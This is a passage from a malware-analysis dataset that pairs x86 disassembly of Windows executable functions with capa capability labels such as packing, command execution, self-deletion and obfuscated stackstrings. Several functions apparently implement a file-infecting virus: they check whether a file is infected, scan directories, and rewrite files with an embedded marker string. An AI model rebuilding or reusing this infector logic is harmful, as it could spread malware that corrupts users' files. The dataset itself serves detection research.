joyce8/EMBER2024-capa huggingface dataset:
Function at 0x9d5d8f
Capabilities:
Packed with generic packer

Disassembly:
mov eax, dword [ecx + ebp - 0x3a17a2be]
movsx edx, cl
mov ecx, dword [ebp + ecx*2 - 0x742f4578]
lea edx, [edx + edx*2 + 0x301a0f89]
lea ebp, [ebp + edx*2 - 0x60341d82]
neg dl
add eax, ecx
mov dword [ebp + edx*2 - 0x60341c7a], eax
lea esi, [esi + edx*2 - 0x60341c7e]
mov dword [esp + edx - 0x301a0e3d], edx
pop edx
mov eax, dword [esi + edx - 0x301a0e3d]
mov ecx, edx
xor eax, ebx
xor eax, 0x61067d82
bt edx, ecx
bswap eax
setae cl
bswap ecx
dec dx
rol eax, 2
neg cx
sar cx, 0x21
inc eax
xor ebx, eax
inc edx
jnp 0x623492
push edi
pushfd
mov edi, 0x5b2e002c
shl edi, 0xb2
call fcn.00465f92

Function at 0x9db75c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sal cl, 0x43
ror eax, 2
or edx, ecx
call fcn.00654d8c
cwde
cmpsd dword [esi], dword es:[edi]
mov esi, 0x63dfd49f
mov bh, 0x47
sub al, dl
imul ebx, esp, 0xffffffd4
ret
mov edx, 0xbe1fa518
lea eax, [edx + edx*2 - 0x51cb64]
mov eax, dword [eax + edi - 0x3a0d23e4]
imul edx, edx
lea edi, [edx + edi - 0x647f23c]
not edx
movzx ecx, dx
xor eax, ebx
neg dx
btr dx, 0x28
or dx, 0x5a89
xor eax, 0x923ef602
xor dx, 0x2306
sub dx, dx
lea eax, [eax + ecx*2 + 0x5206368c]
jbe 0x5a14f9
push dword [esp + 8]
popfd
lea esp, [esp + 0x10]
call fcn.0099cbdc
jmp 0x6de716

Function at 0x9e346e
Capabilities:
Read .ini file

Disassembly:
mov dword [esp + ecx - 0x20080002], eax
xor edx, 0x5f0feeb5
xor al, byte [esp + eax - 0x10040000]
push eax
shr cx, 0xe2
neg edx
shr cx, 0x65
sbb byte [esp + ecx*2 - 0x400ffffe], 0x34
xor ebx, edx
inc byte [esp + ecx - 0x2007fffa]
add esi, edx
not cx
call fcn.0062e8c5
push 0x582a9e03
sub ebp, 1
movzx ecx, byte [ebp]
xor cl, bl
add cl, 0x16
mov edx, 0x972df7b2
xchg dword [esp], edx
movzx eax, dl
xor cl, 0xaf
shr dl, 0x41
ror dword [esp + eax*8 - 0x18], 0xcf
inc edx
rol cl, 1
neg cl
shr dword [esp + edx - 0x582a9e02], 0x1e
ror eax, 0xb
rol al, 1
adc cl, 0x3d
xchg dx, ax
mul word [esp + eax - 0x609e01]
pop eax
ror cl, 1
xor bl, cl
lea esi, [edx + esi - 0x582a0004]
rol ax, 7
bts eax, 0xa4
xadd dl, dh
mov dword [esi + edx - 0x582a0000], ecx
lea ecx, [eax*4 - 0x2847f758]
lea ebp, [ebp + edx - 0x582a0004]
mov ecx, dword [ebp + eax - 0x190]
and dl, ah
sal al, 0xa1
xor ecx, ebx
xor eax, 0xac0bd221
sub edx, 0xa3bb291f
bswap ecx
sbb ecx, 0x1826c0a1
sub eax, 0xf4bbfb17
rol ecx, 2
lea edx, [eax*2 + 0xfa2e1a1]
not ecx
sar eax, 0x37
xadd al, dl
xor ebx, ecx
cdq
add edi, ecx
cwde
shr edx, 0xff
jne fcn.00557a43
call fcn.005e575d

Function at 0x9e72fb
Capabilities:
Read .ini file

Disassembly:
adc edi, ecx
lea ecx, [edx + eax*2 + 0x301bf895]
lea ecx, [eax + eax - 0x1cf5a7d0]
shr cx, 0x6f
pop ecx
pop edx
jns fcn.00557a43
Function at 0x401e20
Capabilities:
Execute command
Self delete

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push edi
push esi
mov esi, 0x401280
push ebx
lea edi, [ebp - 0x9a8]
sub esp, 0x99c
and esp, 0xfffffff0
mov ebx, dword [ebp + 0xc]
call fcn.004043d0
call sym.___main
sub esp, 0xc
cld
mov ax, word [0x401c0c]
mov ecx, 0x263
rep movsd dword es:[edi], dword [esi]
mov word [0x407120], 0
mov word [edi], ax
push 0x401c0e
call sym._system
mov dword [esp], 0x401c20
call sym._system
mov dword [esp], 0x401c4d
call sym._puts
lea edx, [ebp - 0x9a8]
mov dword [esp], edx
call sym._puts
pop esi
mov eax, dword [ebx]
pop edi
push eax
push 0x4071b0
call sym._strcpy
mov eax, dword [ebx]
pop edx
push eax
call sym._Get_Path
mov dword [esp], 0x4071b0
call sym._is_infected
add esp, 0x10
dec eax
je 0x401ee2
call sym._scandir_start
push 0
push 0x401c60
push 0x401ca0
push 0
call sub.USER32.dll_MessageBoxA
lea esp, [ebp - 0xc]
pop ebx
xor eax, eax
pop esi
pop edi
pop ebp
ret
sub esp, 0xc
push 0x4071b0
call sym._decompiler
add esp, 0x10
jmp 0x401ec0
Function at 0x4022b0
Capabilities:
Contain obfuscated stackstrings
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x44
mov eax, dword [ebp + 8]
push 0x4022a0
push eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x48], 0
call sym._fopen
mov ebx, eax
pop eax
pop edx
mov eax, dword [ebp + 0xc]
push 0x4022a0
push eax
call sym._fopen
add esp, 0x10
mov esi, eax
test eax, eax
je 0x402481
sub esp, 0xc
push 1
call sym._malloc
mov edi, eax
mov dword [esp], ebx
call sym._feof
add esp, 0x10
test eax, eax
jne 0x402323
push ebx
mov eax, dword [ebp - 0x48]
push 1
inc eax
push 1
mov dword [ebp - 0x48], eax
push edi
call sym._fread
jmp 0x402300
sub esp, 0xc
push esi
call sym._feof
add esp, 0x10
test eax, eax
jne 0x40234a
push esi
mov eax, dword [ebp - 0x44]
push 1
inc eax
push 1
mov dword [ebp - 0x44], eax
push edi
call sym._fread
add esp, 0x10
jmp 0x402323
sub esp, 0xc
mov eax, dword [ebp - 0x48]
push eax
call sym._malloc
mov dword [ebp - 0x3c], eax
pop eax
mov eax, dword [ebp - 0x44]
push eax
call sym._malloc
mov ecx, dword [ebp - 0x3c]
add esp, 0x10
test ecx, ecx
mov dword [ebp - 0x40], eax
je 0x40248d
test eax, eax
je 0x40248d
sub esp, 0xc
push ebx
call sym._rewind
mov dword [esp], esi
call sym._rewind
mov eax, dword [ebp - 0x48]
push ebx
push eax
mov eax, dword [ebp - 0x3c]
push 1
push eax
call sym._fread
mov eax, dword [ebp - 0x44]
add esp, 0x20
push esi
push eax
mov eax, dword [ebp - 0x40]
push 1
push eax
call sym._fread
mov dword [esp], ebx
call sym._fclose
mov dword [esp], esi
lea esi, [ebp - 0x38]
call sym._fclose
pop eax
mov eax, dword [ebp + 8]
pop edx
push 0x4022a3
push eax
call sym._fopen
mov ebx, eax
push eax
mov eax, dword [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x40]
push 1
push eax
call sym._fwrite
add esp, 0x20
mov byte [ebp - 0x38], 0x21
push ebx
push 0x12
push 1
push esi
mov byte [ebp - 0x37], 0x21
mov byte [ebp - 0x36], 0x21
mov byte [ebp - 0x35], 0x21
mov byte [ebp - 0x34], 0x21
mov byte [ebp - 0x33], 0x66
mov byte [ebp - 0x32], 0x75
mov byte [ebp - 0x31], 0x6b
mov byte [ebp - 0x30], 0x2d
mov byte [ebp - 0x2f], 0x74
mov byte [ebp - 0x2e], 0x63
mov byte [ebp - 0x2d], 0x70
mov byte [ebp - 0x2c], 0x61
mov byte [ebp - 0x2b], 0x21
mov byte [ebp - 0x2a], 0x21
mov byte [ebp - 0x29], 0x21
mov byte [ebp - 0x28], 0x21
mov byte [ebp - 0x27], 0x21
mov byte [ebp - 0x26], 0
call sym._fwrite
mov ecx, dword [ebp - 0x3c]
push ebx
mov eax, dword [ebp - 0x48]
push eax
push 1
push ecx
call sym._fwrite
add esp, 0x14
push ebx
call sym._fclose
mov dword [esp], edi
call sym._free
mov edx, dword [ebp - 0x3c]
pop ebx
push edx
call sym._free
mov eax, dword [ebp - 0x40]
pop edx
push eax
call sym._free
mov eax, 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
xor eax, eax
test ebx, ebx
jne 0x4022f4
jmp 0x402479
sub esp, 0xc
push 0
call sym._exit
nop
nop
lea esi, [esi]
Function at 0x402c30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x70
lea ebx, [ebp - 0x58]
push ebx
call sub.KERNEL32.dll_GetStartupInfoA
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x68]
mov dword [esp], edx
push ebx
push 0
push 0
push 0x10
push 0
push 0
push 0
push eax
push 0
call sub.KERNEL32.dll_CreateProcessA
mov ebx, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x402c80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x14
mov eax, dword [ebp + 8]
push 0x402c70
push eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
call sym._fopen
pop esi
pop edi
mov ebx, eax
mov eax, dword [ebp + 0xc]
push 0x402c70
push eax
call sym._fopen
mov dword [esp], 1
mov edi, eax
call sym._malloc
mov esi, eax
mov dword [esp], ebx
call sym._feof
add esp, 0x10
test eax, eax
jne 0x402cf0
push ebx
mov eax, dword [ebp - 0x10]
push 1
inc eax
push 1
mov dword [ebp - 0x10], eax
push esi
call sym._fread
jmp 0x402cc7
sub esp, 0xc
push edi
call sym._feof
add esp, 0x10
test eax, eax
jne 0x402d17
push edi
mov eax, dword [ebp - 0x14]
push 1
inc eax
push 1
mov dword [ebp - 0x14], eax
push esi
call sym._fread
add esp, 0x10
jmp 0x402cf0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x10], eax
sete al
lea esp, [ebp - 0xc]
and eax, 0xff
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x404210
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x9c
mov eax, dword [0x405050]
test eax, eax
je 0x40422d
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
sub esp, 0xc
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], 0x61616161
push eax
mov dword [ebp - 0x44], 0x61616161
mov dword [ebp - 0x40], 0x61616161
mov dword [ebp - 0x3c], 0x61616161
mov dword [ebp - 0x38], 0x61616161
mov dword [ebp - 0x34], 0x61616161
mov dword [ebp - 0x30], 0x61616161
mov dword [ebp - 0x2c], 0x61616161
mov byte [ebp - 0x28], 0
call sub.KERNEL32.dll_FindAtomA
add esp, 0xc
test ax, ax
jne 0x404384
sub esp, 0xc
xor esi, esi
lea ebx, [ebp - 0x78]
push 0x14
call sym._malloc
lea ecx, [ebp - 0xa8]
mov dword [0x405050], eax
add esp, 0x10
mov dword [eax], 0
mov edx, eax
mov dword [eax + 0xc], 0
mov dword [eax + 0x10], 0
mov dword [eax + 4], sym._abort
mov dword [eax + 8], sym._abort
mov edi, ecx
test eax, eax
jne 0x404370
lea ecx, [ebp - 0xa7]
mov byte [ebp - 0xa8], 0x30
cmp ecx, edi
jbe 0x4042eb
lea esi, [esi]
dec ecx
inc esi
mov al, byte [ecx]
mov byte [ebx], al
inc ebx
cmp ecx, edi
ja 0x4042e0
mov eax, 0x20
mov byte [ebx], 0
sub eax, esi
push edi
lea edx, [ebp - 0x48]
push eax
push 0x61
push edx
call sym._memset
add esp, 0x10
xor edx, edx
cmp edx, esi
jae 0x404326
nop
lea esi, [esi]
mov eax, edx
sub eax, esi
cmp byte [ebp + edx - 0x78], 0x30
je 0x404365
mov cl, 0x41
inc edx
mov byte [ebp + eax - 0x28], cl
cmp edx, esi
jb 0x404310
sub esp, 0xc
lea eax, [ebp - 0x48]
mov byte [ebp - 0x28], 0
push eax
call sub.KERNEL32.dll_AddAtomA
add esp, 0xc
mov edx, dword [0x405050]
lea eax, [edx + 4]
mov dword [0x405054], eax
lea eax, [edx + 8]
mov dword [0x405058], eax
lea eax, [edx + 0xc]
add edx, 0x10
mov dword [0x40505c], eax
mov dword [0x405060], edx
jmp 0x404225
mov cl, 0x61
jmp 0x40431d
mov eax, edx
and eax, 1
add eax, 0x30
mov byte [ecx], al
inc ecx
shr edx, 1
jne 0x404370
jmp 0x4042d9
lea edx, [ebp - 0x48]
push ebx
and eax, 0xffff
push 0x21
push edx
push eax
call sub.KERNEL32.dll_GetAtomNameA
xor edx, edx
pop ecx
lea esi, [esi]
cmp byte [ebp + edx - 0x48], 0x61
setne al
add eax, 0x30
mov byte [ebp + edx - 0x48], al
inc edx
cmp edx, 0x1f
jbe 0x4043a0
push eax
lea eax, [ebp - 0x48]
push 2
push 0
push eax
call sym._strtoul
add esp, 0x10
mov dword [0x405050], eax
jmp 0x404339
Function at 0x404430
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push edi
push esi
push ebx
sub esp, 0x110
mov ebx, dword [esp + 0x120]
call sym.__errno
test ebx, ebx
mov dword [eax], 0
je 0x404607
cmp byte [ebx], 0
je 0x404472
sub esp, 0xc
push ebx
call sub.KERNEL32.dll_GetFileAttributesA
add esp, 0xc
cmp eax, 0xffffffff
je 0x4045f7
and eax, 0x10
jne 0x404490
call sym.__errno
mov dword [eax], 0x14
xor eax, eax
add esp, 0x110
pop ebx
pop esi
pop edi
ret
push esi
push 0x104
push ebx
lea esi, [esp + 0xc]
push esi
call sym.__fullpath
mov ecx, esi
pop ebx
mov ebx, esi
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
xor eax, 0xffffffff
and edx, eax
and edx, 0x80808080
je 0x4044a6
test edx, 0x8080
jne 0x4044cc
shr edx, 0x10
add ecx, 2
add dl, dl
sbb ecx, 3
sub ecx, ebx
lea edx, [ecx + 0x132]
push edx
call sym._malloc
add esp, 0x10
mov ebx, eax
test eax, eax
je 0x4045e7
push ecx
push ecx
push esi
lea esi, [eax + 0x12c]
push esi
call sym._strcpy
add esp, 0x10
cmp byte [ebx + 0x12c], 0
je 0x404597
mov ecx, esi
mov edi, esi
nop
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
xor eax, 0xffffffff
and edx, eax
and edx, 0x80808080
je 0x404510
test edx, 0x8080
jne 0x404536
shr edx, 0x10
add ecx, 2
add dl, dl
sbb ecx, 3
sub ecx, edi
cmp byte [ecx + ebx + 0x12b], 0x2f
je 0x404597
mov ecx, esi
mov edi, esi
nop
lea esi, [esi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
xor eax, 0xffffffff
and edx, eax
and edx, 0x80808080
je 0x404550
test edx, 0x8080
jne 0x404576
shr edx, 0x10
add ecx, 2
add dl, dl
sbb ecx, 3
sub ecx, edi
cmp byte [ecx + ebx + 0x12b], 0x5c
je 0x404597
push edx
push edx
push 0x404420
push esi
call sym._strcat
add esp, 0x10
push eax
push eax
push 0x404422
push esi
call sym._strcat
add esp, 0x10
lea edx, [ebx + 0x14]
mov eax, ebx
mov dword [ebx + 0x124], 0xffffffff
mov dword [ebx + 0x128], 0
mov dword [ebx + 0x118], 0
mov word [ebx + 0x11c], 0
mov word [ebx + 0x11e], 0
mov dword [ebx + 0x120], edx
jmp 0x40447f
call sym.__errno
mov dword [eax], 0xc
jmp 0x40447d
call sym.__errno
mov dword [eax], 2
jmp 0x40447d
call sym.__errno
mov dword [eax], 0xe
jmp 0x40447d
Function at 0x404630
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x43ab08
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp + 0xc]
call fcn.00403910
mov edi, dword [esp + 0x3c]
mov dword [esp + 0x30], 0
mov ecx, edi
call fcn.00402740
mov ecx, dword [esp + 0x38]
lea eax, [esp + 0xc]
push eax
push ecx
lea ecx, [esi + 0x14c]
call fcn.004166e0
mov bl, al
test bl, bl
je 0x404695
lea ecx, [esp + 0xc]
call fcn.00419e00
push eax
mov ecx, edi
call fcn.00402800
lea ecx, [esp + 0xc]
mov dword [esp + 0x30], 0xffffffff
call fcn.00403980
mov ecx, dword [esp + 0x28]
pop edi
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret 8
Function at 0x4053c0
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x18]
test edi, edi
mov esi, ecx
je 0x4053d3
mov dword [edi], 0
mov edx, dword [esp + 0x14]
test edx, edx
jne 0x4053e3
pop edi
pop esi
xor al, al
pop ebx
ret 0x10
mov ecx, dword [esp + 0x10]
test ecx, ecx
jne 0x4053f3
pop edi
pop esi
xor al, al
pop ebx
ret 0x10
mov eax, dword [esi + 0x10]
cmp eax, 0xffffffff
jne 0x405403
pop edi
pop esi
mov al, 1
pop ebx
ret 0x10
lea ebx, [esp + 0x14]
push 0
push ebx
push edx
push ecx
push eax
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x405443
mov al, byte [esi + 0xc]
test al, al
je 0x405434
mov eax, dword [esi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x10], 0xffffffff
pop edi
pop esi
mov al, 1
pop ebx
ret 0x10
mov ecx, dword [esi + 8]
mov bl, 1
test ecx, ecx
je 0x40547c
lea edx, [esp + 0x18]
mov byte [esp + 0x18], 0
push edx
push eax
call fcn.00417940
mov al, byte [esp + 0x18]
test al, al
je 0x405478
mov ecx, dword [esp + 0x1c]
test ecx, ecx
je 0x405476
mov eax, dword [ecx]
push str.Aborted_by_application
call dword [eax + 0x14]
xor bl, bl
mov eax, dword [esp + 0x14]
test edi, edi
je 0x405482
mov dword [edi], eax
mov ecx, dword [esi + 4]
pop edi
add ecx, eax
mov al, bl
mov dword [esi + 4], ecx
pop esi
pop ebx
ret 0x10

Function at 0x405640
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x43ac7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3ac
lea ecx, [esp]
call fcn.004179f0
lea ecx, [esp]
mov dword [esp + 0x3b4], 0
call fcn.00417a40
test al, al
je 0x4056a5
lea eax, [esp + 0x98]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 0x98]
push ecx
mov ecx, dword [esp + 0x3c0]
call fcn.004027a0
jmp 0x4056f9
lea edx, [esp + 0x1a0]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
jne 0x4056e5
lea eax, [esp + 0x98]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 0x98]
push ecx
mov ecx, dword [esp + 0x3c0]
call fcn.004027a0
jmp 0x4056f9
mov ecx, dword [esp + 0x3bc]
lea edx, [esp + 0x1a0]
push edx
call fcn.00402860
lea ecx, [esp]
mov dword [esp + 0x3b4], 0xffffffff
call fcn.00417a30
mov ecx, dword [esp + 0x3ac]
mov dword fs:[0], ecx
add esp, 0x3b8
ret
Function at 0x405730
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x43ac9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3ac
lea ecx, [esp + 0x108]
call fcn.004179f0
lea ecx, [esp + 0x108]
mov dword [esp + 0x3b4], 0
call fcn.00417a40
test al, al
je 0x405795
lea eax, [esp]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp]
push ecx
mov ecx, dword [esp + 0x3c0]
call fcn.004027a0
jmp 0x4057eb
lea edx, [esp + 0x1a0]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x4057d7
lea eax, [esp]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x4057c4
mov byte [esp], al
lea ecx, [esp]
push ecx
mov ecx, dword [esp + 0x3c0]
call fcn.004027a0
jmp 0x4057eb
mov ecx, dword [esp + 0x3bc]
lea edx, [esp + 0x1a0]
push edx
call fcn.00402860
lea ecx, [esp + 0x108]
mov dword [esp + 0x3b4], 0xffffffff
call fcn.00417a30
mov ecx, dword [esp + 0x3ac]
mov dword fs:[0], ecx
add esp, 0x3b8
ret

Function at 0x405fe0
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x43ad86
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xf4
lea ecx, [esp]
call fcn.004025c0
mov eax, dword [esp + 0x104]
lea ecx, [esp]
push eax
mov dword [esp + 0x100], 0
call fcn.00403120
push 0x5c
push 0x2f
lea ecx, [esp + 8]
call fcn.00403250
lea ecx, [esp + 0x5c]
call fcn.004179f0
lea ecx, [esp + 0x5c]
mov byte [esp + 0xfc], 1
call fcn.00417a40
test al, al
je 0x406065
mov ecx, dword [esp + 0x108]
push ecx
lea ecx, [esp + 4]
call fcn.00402c50
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x40607d
mov edx, dword [esp + 0x108]
lea ecx, [esp]
push edx
call fcn.004028d0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
push ebx
lea ecx, [esp + 0x60]
setne bl
mov byte [esp + 0x100], 0
call fcn.00417a30
lea ecx, [esp + 4]
mov dword [esp + 0x100], 0xffffffff
call fcn.00402680
mov ecx, dword [esp + 0xf8]
mov al, bl
pop ebx
mov dword fs:[0], ecx
add esp, 0x100
ret

Function at 0x4060c0
Capabilities:
Set current directory

Disassembly:
push 0xffffffffffffffff
push 0x43ada6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xf4
lea ecx, [esp]
call fcn.004025c0
mov eax, dword [esp + 0x104]
lea ecx, [esp]
push eax
mov dword [esp + 0x100], 0
call fcn.00403120
push 0x5c
push 0x2f
lea ecx, [esp + 8]
call fcn.00403250
lea ecx, [esp + 0x5c]
call fcn.004179f0
lea ecx, [esp + 0x5c]
mov byte [esp + 0xfc], 1
call fcn.00417a40
test al, al
lea ecx, [esp]
je 0x40613d
call fcn.00402c50
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
jmp 0x406149
call fcn.004028d0
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
push ebx
lea ecx, [esp + 0x60]
setne bl
mov byte [esp + 0x100], 0
call fcn.00417a30
lea ecx, [esp + 4]
mov dword [esp + 0x100], 0xffffffff
call fcn.00402680
mov ecx, dword [esp + 0xf8]
mov al, bl
pop ebx
mov dword fs:[0], ecx
add esp, 0x100
ret
Function at 0x406190
Capabilities:
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x43adc6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xf4
lea ecx, [esp]
call fcn.004025c0
mov eax, dword [esp + 0x104]
lea ecx, [esp]
push eax
mov dword [esp + 0x100], 0
call fcn.00403120
push 0x5c
push 0x2f
lea ecx, [esp + 8]
call fcn.00403250
lea ecx, [esp + 0x5c]
call fcn.004179f0
lea ecx, [esp + 0x5c]
mov byte [esp + 0xfc], 1
call fcn.00417a40
test al, al
je 0x406215
mov ecx, dword [esp + 0x108]
push ecx
lea ecx, [esp + 4]
call fcn.00402c50
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x40622d
mov edx, dword [esp + 0x108]
lea ecx, [esp]
push edx
call fcn.004028d0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
push ebx
lea ecx, [esp + 0x60]
setne bl
mov byte [esp + 0x100], 0
call fcn.00417a30
lea ecx, [esp + 4]
mov dword [esp + 0x100], 0xffffffff
call fcn.00402680
mov ecx, dword [esp + 0xf8]
mov al, bl
pop ebx
mov dword fs:[0], ecx
add esp, 0x100
ret

Function at 0x406270
Capabilities:
Access peb ldr_data
Get file size

Disassembly:
push 0xffffffffffffffff
push 0x43add8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov ecx, dword [esp + 0x30]
lea eax, [esp]
push edi
xor edi, edi
push eax
push ecx
mov dword [esp + 0xc], edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
jne 0x406308
push esi
mov esi, dword [esp + 0x3c]
cmp esi, edi
je 0x4062f1
lea ecx, [esp + 0xc]
call fcn.00403910
lea ecx, [esp + 0xc]
mov dword [esp + 0x30], edi
call fcn.004040b0
mov edi, dword [esi]
lea ecx, [esp + 0xc]
call fcn.00419e00
push eax
mov ecx, esi
call dword [edi + 0x10]
mov edx, dword [esi]
push str.Failed_to_get_file_size__64_
mov ecx, esi
call dword [edx + 0x10]
lea ecx, [esp + 0xc]
mov dword [esp + 0x30], 0xffffffff
call fcn.00403980
or eax, 0xffffffff
pop esi
or edx, 0xffffffff
pop edi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
add esp, 0x2c
ret
mov ecx, dword [esp + 4]
push ecx
push eax
call fcn.00417a50
mov ecx, dword [esp + 0x2c]
add esp, 8
mov dword fs:[0], ecx
pop edi
add esp, 0x2c
ret
Function at 0x406730
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x43ae90
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
mov eax, dword [esp + 0x48]
push esi
push edi
push eax
lea ecx, [esp + 0xc]
call fcn.00403840
push 0x5c
push 0x2f
lea ecx, [esp + 0x10]
mov dword [esp + 0x50], 0
call fcn.004033d0
lea ecx, [esp + 8]
call fcn.00419e00
mov edi, eax
test edi, edi
je 0x406857
cmp byte [edi], 0
je 0x406857
mov esi, dword [esp + 0x54]
push esi
push edi
call fcn.00406460
add esp, 8
test al, al
jne 0x4067c1
test esi, esi
je 0x406869
mov edx, dword [esi]
push edi
push str.delete_filename
mov ecx, esi
call dword [edx + 0x28]
mov eax, dword [esi]
push str.Cannot_delete_file__file_does_not_exist
mov ecx, esi
call dword [eax + 0x14]
jmp 0x406869
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x406833
test esi, esi
je 0x406869
lea ecx, [esp + 0x24]
call fcn.00403910
push str.DeleteFile:
lea ecx, [esp + 0x28]
mov byte [esp + 0x4c], 1
call fcn.004035e0
lea ecx, [esp + 0x24]
call fcn.004040b0
mov edx, dword [esi]
push str.Cannot_delete_file
mov ecx, esi
call dword [edx + 0x14]
mov eax, dword [esi]
push edi
push str.delete_filename
mov ecx, esi
call dword [eax + 0x28]
mov edi, dword [esi]
lea ecx, [esp + 0x24]
call fcn.00419e00
push eax
mov ecx, esi
call dword [edi + 0x14]
lea ecx, [esp + 0x24]
mov byte [esp + 0x48], 0
call fcn.00403980
jmp 0x406869
lea ecx, [esp + 8]
mov dword [esp + 0x48], 0xffffffff
call fcn.00403980
pop edi
mov al, 1
pop esi
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
add esp, 0x44
ret
mov ecx, dword [esp + 0x54]
test ecx, ecx
je 0x406869
mov edx, dword [ecx]
push str.Cannot_delete_file__filename_is_null_or_empty
call dword [edx + 0x10]
lea ecx, [esp + 8]
mov dword [esp + 0x48], 0xffffffff
call fcn.00403980
mov ecx, dword [esp + 0x40]
pop edi
xor al, al
pop esi
mov dword fs:[0], ecx
add esp, 0x44
ret